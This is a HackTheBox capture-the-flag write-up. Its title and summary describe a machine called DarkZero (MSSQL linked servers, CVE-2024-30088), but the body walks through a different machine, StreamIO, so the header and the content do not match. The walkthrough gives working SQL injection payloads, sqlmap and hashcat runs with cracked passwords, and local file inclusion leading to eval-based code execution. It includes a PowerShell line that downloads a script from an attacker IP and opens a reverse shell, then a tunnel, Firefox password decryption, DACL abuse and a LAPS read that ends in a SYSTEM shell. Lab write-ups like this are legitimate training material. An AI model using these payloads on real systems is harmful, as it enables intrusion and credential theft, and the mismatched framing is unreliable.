HackTheBox: DarkZero Writeup
Hard Windows Active Directory machine featuring MSSQL linked server lateral movement across two forests, CVE-2024-30088 kernel LPE to SYSTEM, and unconstrained delegation abuse for domain takeover.
StreamIO is a medium-difficulty Windows Active Directory machine running a pair of PHP web applications over HTTPS. The attack surface starts with SQL injection on the main site’s login page, which hands over MD5 password hashes for all users in the database. Cracking those hashes gets us into an admin panel, where fuzzing query parameters surfaces a hidden debug feature that turns out to be a straightforward local file inclusion. Reading PHP source through a php://filter wrapper reveals an eval(file_get_contents()) call in master.php that amounts to a remote code execution primitive - as long as you know how to invoke it through the right include chain. From there, a tunnel back through the machine’s internal MSSQL instance lets us pull credentials from a backup database, giving us a foothold via WinRM as nikk37. WinPEAS flags saved Firefox credentials, which decrypt with firepwd to reveal the password for JDgodd, a domain account. BloodHound shows JDgodd owns the Core Staff group, which has ReadLAPSPassword over the domain controller. Adding JDgodd to that group is all it takes to read the local administrator password off the DC directly.
The port profile screams Active Directory domain controller immediately - Kerberos on 88, LDAP on 389 and 3268, DNS on 53, SMB on 445, and WinRM on 5985. Both 80 and 443 are open, and the TLS certificate on 443 leaks two Subject Alternative Names that are worth noting: streamIO.htb and watch.streamIO.htb.
rustscan -b 500 -a 10.129.13.64 -- -sC -sV -Pn -oA fulltcp
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb)
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
<SNIP>
With the domain name confirmed, I generated hosts and Kerberos config files using nxc and added both streamIO.htb and watch.streamIO.htb to /etc/hosts.
nxc smb 10.129.13.64 --generate-hosts-file hosts
nxc smb 10.129.13.64 --generate-krb5-file krb5
A quick DNS ANY query against the DC confirms dc.streamIO.htb as the authoritative nameserver and resolves to the same IP - nothing unexpected there.
dig any streamIO.htb @streamIO.htb
streamIO.htb. 600 IN A 10.129.13.64
streamIO.htb. 3600 IN NS dc.streamIO.htb.
streamIO.htb. 3600 IN SOA dc.streamIO.htb. hostmaster.streamIO.htb. ...
Both null and guest sessions are dead on arrival - STATUS_ACCESS_DENIED and STATUS_ACCOUNT_DISABLED respectively - so SMB is a dead end without credentials.
nxc smb streamio.htb -u '' -p ''
nxc smb streamio.htb -u 'guest' -p ''
[-] streamIO.htb\: STATUS_ACCESS_DENIED
[-] streamIO.htb\guest: STATUS_ACCOUNT_DISABLED
The main site at https://streamIO.htb is a PHP application running on IIS 10.0 presenting a movie streaming platform. The homepage, about.php, and contact.php are all fairly standard marketing pages - but about.php is worth pausing on because it names three employees directly: barry, oliver, and samantha. Those go into the potential usernames list.


I tried the XSS cookie-stealer angle on contact.php but nothing came of it - there’s no bot interacting with submissions. The login page at login.php has a registration link, and I created an account, but logging in with those fresh credentials just returns Login failed. Whatever the registration endpoint does, it probably isn’t actually inserting into the users table, or the login logic validates something else.
Directory brute-forcing with feroxbuster finds an /admin path that returns a custom 403 page:
feroxbuster --insecure --url https://streamio.htb
301 GET https://streamio.htb/admin => https://streamio.htb/admin/
200 GET https://streamio.htb/login.php
200 GET https://streamio.htb/about.php
200 GET https://streamio.htb/contact.php
The 403 response is a custom <h1>FORBIDDEN</h1> page, not IIS’s default. My first instinct was to try a 403 bypass - header injection, path tricks, verb tampering - and I threw nomore403 at it. Some of the path-mangling payloads returned 200s, but they were all resolving to the main index rather than the actual admin panel content. The 403 is enforced server-side via session checks in PHP, not just by IIS configuration, so bypassing the URL path alone isn’t enough.
nomore403 -u https://streamio.htb/admin/
━━━━━━━━━━━━━━━ DEFAULT REQUEST ━━━━━━━━━━━━━━━
403 405 bytes https://streamio.htb/admin/
━━━━━━━━━━━━━━━ CUSTOM PATHS ━━━━━━━━━━━━━━━━━
200 13880 bytes https://streamio.htb/admin/..
200 13880 bytes https://streamio.htb/#?admin/
<SNIP>
All those 200s are just the index. What I can do, though, is brute-force for PHP files directly inside the admin directory. Even if the directory itself is 403’d, individual files might respond differently.
gobuster dir -u https://streamio.htb/aDmin/ \
-w /opt/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt \
-k -t 30 --random-agent --exclude-length 466 -x php
index.php (Status: 403) [Size: 18]
master.php (Status: 200) [Size: 58]
master.php is accessible but returns a single line:
<h1>Movie managment</h1>
Only accessable through includes
Interesting. The file exists and responds with a 200, but its logic is gated behind a PHP define() check - it needs to be included by something rather than requested directly. I’ll keep that in mind.
The watch subdomain is a much simpler page - a newsletter subscription form and some FAQs, also PHP on IIS.

Fuzzing for files here turns up a search.php endpoint:
gobuster dir -u https://watch.streamIO.htb \
-w /opt/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt \
-k -t 30 --random-agent --exclude-length 466 -x php
index.php (Status: 200) [Size: 2829]
search.php (Status: 200) [Size: 253887]
blocked.php (Status: 200) [Size: 677]
search.php presents a movie search interface. The parameter only accepts integer-looking input under normal conditions - but a quick manual probe with a single quote (') redirects straight to blocked.php. The application has some kind of WAF or input filter, but it’s not catching everything. A UNION SELECT with null columns also triggers the block, while a bare UNION SELECT with quoted string values slips through. After some trial and error, the right column count turns out to be six, and columns 2 and 3 are reflected in the output:
1' UNION SELECT '1','2','3','4','5','6'-- -

At this point there are two injectable endpoints worth pursuing: the search.php parameter on watch.streamIO.htb, and the username field on the login.php page of the main site. I ran sqlmap against login.php first since I wanted the users table, and it found a time-based stacked queries injection on the username parameter, confirming MSSQL as the backend.
sqlmap -u 'https://streamio.htb/login.php' \
-X POST \
--data-raw 'username=a&password=a' \
-H 'Cookie: PHPSESSID=a8uknpkhefhaai3gd9or2n79kq'
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
back-end DBMS: Microsoft SQL Server 2019
web application technology: PHP 7.2.26, Microsoft IIS 10.0
Enumerating databases shows five: the standard system databases plus STREAMIO and streamio_backup.
sqlmap -u 'https://streamio.htb/login.php' \
-X POST \
--data-raw 'username=a&password=a' \
-H 'Cookie: PHPSESSID=a8uknpkhefhaai3gd9or2n79kq' \
--dbs --batch
available databases [5]:
[*] model
[*] msdb
[*] STREAMIO
[*] streamio_backup
[*] tempdb
The STREAMIO database has two tables: movies and users. Rather than dumping column names through sqlmap’s slow time-based channel, I moved over to the UNION-based injection on watch.streamIO.htb’s search.php, which gives reflected output and is much faster to work with manually.
Knowing the table and guessing username and password as column names, a direct UNION query pulls all credentials in one shot:
1' UNION SELECT 1,(SELECT username + ' ' + password FOR XML PATH('')),3,4,5,6 FROM users-- -

That gives 30 hashes. All of them are MD5. Running them through hashcat against rockyou.txt cracks 12:
hashcat hashes -m 0 /usr/share/wordlists/rockyou.txt
3577c47eb1e12c8ba021611e1280753c:highschoolmusical
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
665a50ac9eaa781e4f7f04199db97a11:paddpadd
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
ef8f3d30a856cf166fb8215aca93e9ff:%$clara
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
6dcd87740abb64edfa36d170f0d5450d:$3xybitch
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
With a list of cracked credentials, I wanted to figure out which usernames to try at the login page without hammering it with every combination. The about.php page already gave us barry, oliver, and samantha. Cross-referencing usernames against the hashes and starting with the lower-cased, more generic-looking names, yoshihide with the password 66boysandgirls.. works immediately on login.php.

The admin panel at https://streamIO.htb/admin/ presents four features accessed via query parameters: ?user=, ?staff=, ?movie=, and ?message=. Every feature is driven by a GET parameter appended to the same index URL. That’s an invitation to fuzz for undocumented parameters the box setters may have left in:
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt \
-b "PHPSESSID=a8uknpkhefhaai3gd9or2n79kq" \
-u 'https://streamio.htb/admin/?FUZZ=a' -fs 1678
user [Status: 200, Size: 3186]
staff [Status: 200, Size: 12484]
debug [Status: 200, Size: 1712]
movie [Status: 200, Size: 320235]
There it is - a debug parameter that isn’t linked from anywhere in the UI. The response size of 1712 bytes is slightly larger than the base admin page, which suggests something is being included or executed. Testing it with a Windows path confirms file inclusion:
ffuf -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt \
-b "PHPSESSID=a8uknpkhefhaai3gd9or2n79kq" \
-u 'https://streamio.htb/admin/?debug=FUZZ' -fs 1712
C:\Windows\win.ini [Status: 200, Size: 1804]
C:/Windows/win.ini [Status: 200, Size: 1804]
../../../../../../../../windows/win.ini [Status: 200, Size: 1804]
The php://filter/read=convert.base64-encode/resource= wrapper also works, which means I can exfiltrate PHP source code rather than just reading static files. The obvious target is master.php - the file we found earlier that said “only accessible through includes.”
https://streamio.htb/admin/?debug=php://filter/read=convert.base64-encode/resource=master.php

Decoding the base64 reveals the source. The key section is at the bottom of the file:
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
This is the “accessible through includes” mechanism - master.php is intended to be included by the admin index.php (which defines the included constant used to gate the rest of the file). But once it’s running in that context, it also reads a POST parameter called include, fetches the contents of whatever path or URL it points to, and passes the result directly to eval(). The only check is that it can’t be index.php itself. This is effectively a file fetch and execute primitive that will accept both local paths and remote URLs.
The plan: host a PHP file on my attack box that runs a PowerShell reverse shell, then trigger the eval via a POST to the admin panel with ?debug=master.php to satisfy the included define, and include=http://10.10.14.24/a.php to pull and execute my payload.
cat a.php
system("powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.24/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 10.10.14.24 443\"");
With a Python HTTP server serving a.php and Invoke-ConPtyShell.ps1, and penelope listening on port 443:
POST /admin/?debug=master.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=a8uknpkhefhaai3gd9or2n79kq
Content-Type: application/x-www-form-urlencoded
include=http://10.10.14.24/a.php
[+] [New Reverse Shell] => DC.streamIO.htb 10.129.13.64 WINDOWS
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
Checking local users on the machine:
net user
User accounts for \\DC
Administrator Guest JDgodd krbtgt Martin nikk37 yoshihide
nikk37 and JDgodd are both domain accounts and neither have their credentials in the database dump yet. More on them shortly.
Landing a web shell under yoshihide in the web root is a good start, but the obvious next move is the database credentials. The index.php for the admin panel - the file that bootstraps the MSSQL connection - is sitting right there in the same directory.
cat index.php
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
The db_admin account connects to (local), meaning the MSSQL instance is running on the same host. To interact with it from my attack box, I need a tunnel. I set up ligolo-ng: uploaded the agent to the target, started the proxy on my box, and routed traffic for the 240.0.0.1/32 ligolo address through the tunnel.
# On attack box
sudo ./proxy -selfcert
# On target (PS)
.\agent.exe -connect 10.10.14.24:11601 -ignore-cert
ligolo-ng » ifcreate --name ligolo
ligolo-ng » route_add --name ligolo --route 240.0.0.1/32
ligolo-ng » session
[Agent : Unknown@DC] » start
A quick scan through the tunnel confirms MSSQL on port 1433 is reachable:
sudo nmap 240.0.0.1
1433/tcp open ms-sql-s
5985/tcp open wsman
<SNIP>
Connecting with mssqlclient.py:
mssqlclient.py db_admin:'B1@hx31234567890'@240.0.0.1
SQL (db_admin db_admin@master)>
The STREAMIO database is the one the web app uses and I’ve already pulled its users table via injection. The interesting target is streamio_backup:
select * from streamio_backup.INFORMATION_SCHEMA.TABLES;
streamio_backup dbo movies BASE TABLE
streamio_backup dbo users BASE TABLE
SELECT * FROM streamio_backup.dbo.users;
id username password
-- --------- --------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
3 James c660060492d9edcaa8332d89c99c9239
4 Theodore 925e5408ecb67aea449373d668b7359e
5 Samantha 083ffae904143c4796e464dac33c1f7d
6 Lauren 08344b85b329d7efd611b7a7743e8a09
7 William d62be0dc82071bccc1322d64ec5b6c51
8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
nikk37 is a local domain account - net user showed that earlier. His hash 389d14cb8e4e9b94b137deb1caf0612a isn’t in the results from the first hashcat run because it wasn’t in the STREAMIO.dbo.users table. Adding it to hashcat:
| Hash | Type | Cleartext |
|---|---|---|
389d14cb8e4e9b94b137deb1caf0612a |
MD5 | get_dem_girls2@yahoo.com |
WinRM is listening on port 5985 and nikk37 turns out to have access:
evil-winrm-py -i 10.129.13.64 -u nikk37 -p 'get_dem_girls2@yahoo.com'
evil-winrm-py PS C:\Users\nikk37\Documents> type ../Desktop/user.txt
[REDACTED]
Manual enumeration from nikk37’s session didn’t surface anything obviously exploitable, so I uploaded winPEASx64.exe to do a more systematic sweep.
upload /opt/Windows/winPEASx64.exe .
.\winPEASx64.exe
One finding jumped out immediately:
Firefox credentials file exists at
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
Firefox stores saved passwords encrypted with a master key derived from the user’s master password (empty by default). The credential database lives in key4.db and logins.json. I pulled both files down:
download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db 'key4.db'
download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json 'logins.json'
Then decrypted them with firepwd-ng.py, which handles Firefox’s NSS-based key derivation and AES-CBC decryption:
python3 firepwd-ng.py -d .
[INFO] - Master password is correct.
[INFO] - Decrypted 4 logins
URL: https://slack.streamio.htb
User: admin
Pass: [REDACTED]
URL: https://slack.streamio.htb
User: nikk37
Pass: [REDACTED]
URL: https://slack.streamio.htb
User: yoshihide
Pass: [REDACTED]
URL: https://slack.streamio.htb
User: JDgodd
Pass: [REDACTED]
All four were saved for slack.streamio.htb. I added that subdomain to /etc/hosts for good measure, but the more immediately useful thing here is the password for JDgodd - a domain account that appeared in net user earlier. Testing it against SMB confirms it’s valid:
nxc smb streamio.htb -u 'JDgodd' -p '[REDACTED]'
SMB 10.129.13.64 445 DC [+] streamIO.htb\JDgodd:[REDACTED]
While the nikk37 WinRM session was running, I collected BloodHound data with rusthound-ce:
rusthound-ce -d streamio.htb -c All -u 'nikk37' -i 10.129.13.64 -z --dns-tcp
8 users parsed
62 groups parsed
1 computers parsed
After importing the data and marking yoshihide, nikk37, and JDgodd as owned, the BloodHound graph reveals a clean two-hop path to the domain controller.
JDgodd has Owns over the Core Staff group:

Core Staff has ReadLAPSPassword over the DC:

LAPS - Local Administrator Password Solution - is a Microsoft feature that automatically rotates the local administrator password on managed machines and stores the current value in a confidential LDAP attribute (ms-Mcs-AdmPwd) readable only by specific principals. Here, that attribute is on the DC itself, and Core Staff membership grants the read permission.
The ownership relationship means JDgodd can modify the DACL on Core Staff to grant himself WriteMembers, and then add himself to the group. dacledit.py handles the DACL modification:
dacledit.py -action 'write' -rights 'WriteMembers' \
-principal 'JDGODD' \
-target-dn 'CN=CORE STAFF,CN=USERS,DC=STREAMIO,DC=HTB' \
'streamio.htb'/'JDGODD':'[REDACTED]'
Then adding JDgodd to Core Staff:
net rpc group addmem "Core Staff" "JDGODD" \
-U "streamio.htb"/"JDGODD"%"[REDACTED]" \
-S "streamio.htb"
With membership in place, bloodyAD can now read the LAPS attribute directly:
bloodyAD --host 10.129.13.64 -d streamio.htb \
-u JDgodd -p '[REDACTED]' \
get search \
--filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
distinguishedName: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: [REDACTED]
ms-Mcs-AdmPwdExpirationTime: 134198111896120766
Testing the recovered LAPS password against the Administrator account:
nxc smb streamio.htb -u 'Administrator' -p '[REDACTED]'
SMB 10.129.13.64 445 DC [+] streamIO.htb\Administrator:[REDACTED] (Pwn3d!)
Owning the domain. A psexecsvc.py shell as SYSTEM confirms:
psexecsvc.py 'Administrator'@streamio.htb -system
Microsoft Windows [Version 10.0.17763.2928]
C:\Windows\system32>
C:\Users\Martin\Desktop>type root.txt
[REDACTED]